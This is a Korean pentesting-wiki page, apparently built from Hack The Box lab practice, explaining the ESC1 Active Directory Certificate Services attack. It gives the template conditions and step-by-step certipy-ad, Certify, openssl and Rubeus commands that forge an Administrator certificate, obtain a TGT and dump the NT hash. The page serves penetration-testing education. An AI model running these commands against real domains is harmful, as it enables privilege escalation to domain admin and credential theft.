펜테스팅 위키
  • Welcome
    • Home
  • 정보 수집
    • OSINT
      • Sub Domain
      • Google Hacking
      • Github
      • IP Address
      • Employees
    • 내부망
      • RID Cycling
      • Password Spraying
      • Password Must Change
      • Extension
        • xlsx/ods
        • pfx
        • vhd
        • pst
        • vbs
        • hc
      • Protocol
        • 21 - FTP
        • 22 - SSH
        • 25 - SMTP
        • 23 - Telnet
        • 53 - DNS
        • 80/443 - HTTP
        • 88 - Kerberos
        • 111 - RPC
        • 135 - msrpc
        • 139/445 - SMB
        • 389/636 - LDAP
        • 1433 - MSSQL
        • 5985/5986 - wsman
  • 초기 침투
    • CVEs
      • CVE-2025-31486
    • Phishing
      • Command File
      • EXE + LNK
      • wax
      • Microsoft Word
    • Web
      • Quary Language
        • SQL
        • GraphQL
      • File Upload
      • File Download
      • XSS
      • SSRF
      • CSRF
      • Open Redirect
      • SOP / CORS
    • ZIP Slip
  • 지속성
    • Active Directory
      • Golden Tickets
      • Diamond Tickets
      • DC Shadow
      • RID Hijacking
      • Certificate
    • Local
      • Task Scheduler
      • Startup Folder
      • Registry AutoRun
      • COM
      • WMI Event Subscription
      • SSH Key Injection
      • DLL Hijacking
      • DLL SideLoading
      • Create Account
  • 권한 상승
    • Active Directory
      • DACL
        • ReadGMSAPassword
        • ReadLAPSPassword
        • ForceChangePassword
        • AddSelf
        • GenericAll
        • Inherited GenericAll
        • WriteOwner
        • GenericWrite
        • WriteProperty
        • WriteSPN
        • AddMembers
        • WriteGPO
        • AddAllowedToAct
        • AllExtendedRights
        • Restore-ADObject
      • AD CS
        • Abuse Permissions
        • ESC1
        • ESC2
        • ESC3
        • ESC4
        • ESC5
        • ESC6
        • ESC7
        • ESC8
        • ESC9
        • ESC10
        • ESC11
        • CVE-2022-26923
        • Non-PKINIT
      • MS14-068
      • Server Operators
      • DnsAdmins
      • noPac
      • Silver Tickets
      • KrbRelayUp
      • GPO
    • Windows
      • SeImpersonatePrivilege
      • Unquoted Service Path
      • Weak Service Permissions
      • Weak Service Binary Permissions
      • UAC Bypass
      • Always Install Elevated
      • Autoruns
      • Credential Manager
      • Local Service Account
  • 민감정보 탈취
    • Active Directory
      • Kerberoasting
      • Timeroasting
      • Targeted Kerberoast
      • ASRep-Roasting
      • AS Requested Service Tickets
      • Unconstrained Delegation
      • Constrained Delegation
      • Alternate Service Name
      • Resource Based Constrained Delegation
      • Shadow Credentials
      • DCSync
      • LSASS
      • Backup Operators
      • SeEnableDelegationPrivilege
      • Domain Cached Credentials
      • Network Access Account Credentials
      • DPAPI Backup Key
    • Windows
      • Unattended File
      • DPAPI
      • Hard-coding Credentials
      • SeBackupPrivilege
  • 측면 이동
    • File Transfer
      • SCP
      • ZIP
      • ncat
      • Python
      • PowerShell
      • certutil
      • wget
      • SMB
      • Base64
      • FTP
      • WebDav
      • cURL
    • Pivoting
      • SOCKS
      • Proxifier
      • Remote Port Forwarding
    • NTLM Relay
    • WebDAV Relay
    • WinRM
    • PsExec
    • WMI
    • DCOM
    • RDP
    • Port Forwarding
    • Domain Trust Discovery
  • 사용자 가장
    • Pass the Hash
  • Pass the Ticket
  • Overpass the Hash
  • Token Impersonation
  • Make Token
  • Process Injection
  • Domain Trust
    • Active Directory Trusts
    • Two-way Domain Trust
    • One-way Domain Trust
  • ETC
    • CS
      • Active Directory
      • Kerberos
      • NTLM
      • PKINIT
      • Integrity
      • Registry
      • Delegation
      • OAuth 2.0
      • S4U
      • SCCM
      • SID History
      • TRUSTWORTHY
      • Link Server Passwords
      • SSL Pinning
    • Tools
      • Mindmap
      • Cobalt Strike
      • BloodHound
      • LDAP Search
      • Hydra
      • Hashcat
      • Ligolo-ng
    • Home Lab
Powered by GitBook
On this page
  • Abuse
  • References

Was this helpful?

Export as PDF
  1. 권한 상승
  2. Active Directory
  3. AD CS

ESC1

PreviousAbuse PermissionsNextESC2

Last updated 1 month ago

Was this helpful?

ESC1 공격은 PKI 인증서 양식 중 몇가지 조건이 갖춰지면 일반 도메인 유저 권한에서 도메인 관리자 권한을 탈취할 수 있는 공격입니다. 요구되는 몇가지 조건은 다음과 같습니다.

속성
값

Enrollee Supplies Subject

True

Requires Manager Approval

False

Authorized Signatures Required

0

Enrollment Rights

하위 수준 도메인 사용자 또는 모든 사용자

속성이 가진 의미에 대해서 자세한 설명은 을 참조합니다. 위와 같은 속성값을 악용한 ESC1 공격 흐름은 최종적으로 다음과 같습니다.

  1. 인증서 주체를 Administrator 로 변조하여 인증서 생성 요청

  2. Administrator의 인증서가 포함된 pfx 파일 획득

  3. pfx 파일로부터 Administrator의 TGT 발급

  4. PAC로부터 NT Hash 덤핑

Abuse

crackmapexec 혹은 certipy-ad를 사용해서 취약한 인증서 정보와 인증 서버 정보를 얻을 수 있습니다.

crackmapexec ldap <DC-IP> -u <USER> -p <PASS> -d <Domain> -M adcs
certipy-ad find -u <USER> -p <PASS> -dc-ip <DC-IP> -target <IP> -vulnerable -stdout -enabled

두가지 모두 인증 서버와 인증서 정보를 찾을 수 있지만

certipy-ad의 경우 -vulnerable 플래그를 통해서 취약점을 찾을 수 있습니다.

서버는 ESC1에 취약한 환경으로 출력된 텍스트 문서를 읽으면 다음과 같이 나옵니다.

Certificate Templates
    Template Name                       : UserAuthentication
    Display Name                        : UserAuthentication
    Certificate Authorities             : sequel-DC-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : True
    Certificate Name Flag               : EnrolleeSuppliesSubject
    Enrollment Flag                     : PublishToDs
                                          IncludeSymmetricAlgorithms
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Validity Period                     : 10 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Permissions
      Enrollment Permissions
        Enrollment Rights               : SEQUEL.HTB\Domain Admins

출력된 템플릿 정보에서는 ESC1 익스플로잇에 요구되는 4가지 조건이 모두 만족됩니다.

조건이 만족될 경우 certipy-ad를 통해서 공격이 가능합니다.

# 템플릿을 통한 Administrator pfx 파일 요청
certipy-ad req -u <USER> -p <PASS> -ca <CA> -target <DC FQDN> -template <Template> -upn Administrator -dc-ip <dc-ip>

# 발급된 Administrator pfx 파일을 통한 NT Hash 덤핑
certipy-ad auth -pfx <PFX File> -domain <Domain> -dc-ip <dc-ip>
# 취약한 템플릿 열거
beacon> execute-assembly C:\Tools\Certify.exe find /vulnerable

# 취약한 템플릿을 통한 Administrator 가장
beacon> execute-assembly C:\Tools\Certify.exe request /ca:<ca> /template:<Template> /altname:Administrator

# 개인키와 인증서를 복사하여 리눅스 환경에서 cert.pem 파일로 저장 후 openssl을 통해 pfx로 변환
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password: password123!
Verifying - Enter Export Password: password123!

# Rubeus에서 사용 가능한 Base64 포맷으로 변경
cat cert.pfx | base64 -w 0

# 인증서를 통한 TGT 발급
beacon> execute-assembly C:\Tools\Rubeus.exe asktgt /user:Administrator /certificate:<Base64 Encoded cert> /password:password123! /nowrap

References

ADCS의 취약한 인증서 템플릿 구성을 통한 ESC1 공격기술(Offensive Technique)Security & Intelligence 이글루코퍼레이션
Logo
Attribute Description
ChatGPT
AD CS Domain EscalationHackTricks
GitHub - ly4k/Certipy: Tool for Active Directory Certificate Services enumeration and abuseGitHub
Logo
Logo
Logo
21MB
Certified_Pre-Owned ko.pdf
pdf
https://www.igloo.co.kr/security-information/adcs%EC%9D%98-%EC%B7%A8%EC%95%BD%ED%95%9C-%EC%9D%B8%EC%A6%9D%EC%84%9C-%ED%85%9C%ED%94%8C%EB%A6%BF-%EA%B5%AC%EC%84%B1%EC%9D%84-%ED%86%B5%ED%95%9C-esc1-%EA%B3%B5%EA%B2%A9%EA%B8%B0%EC%88%A0offensive-tec/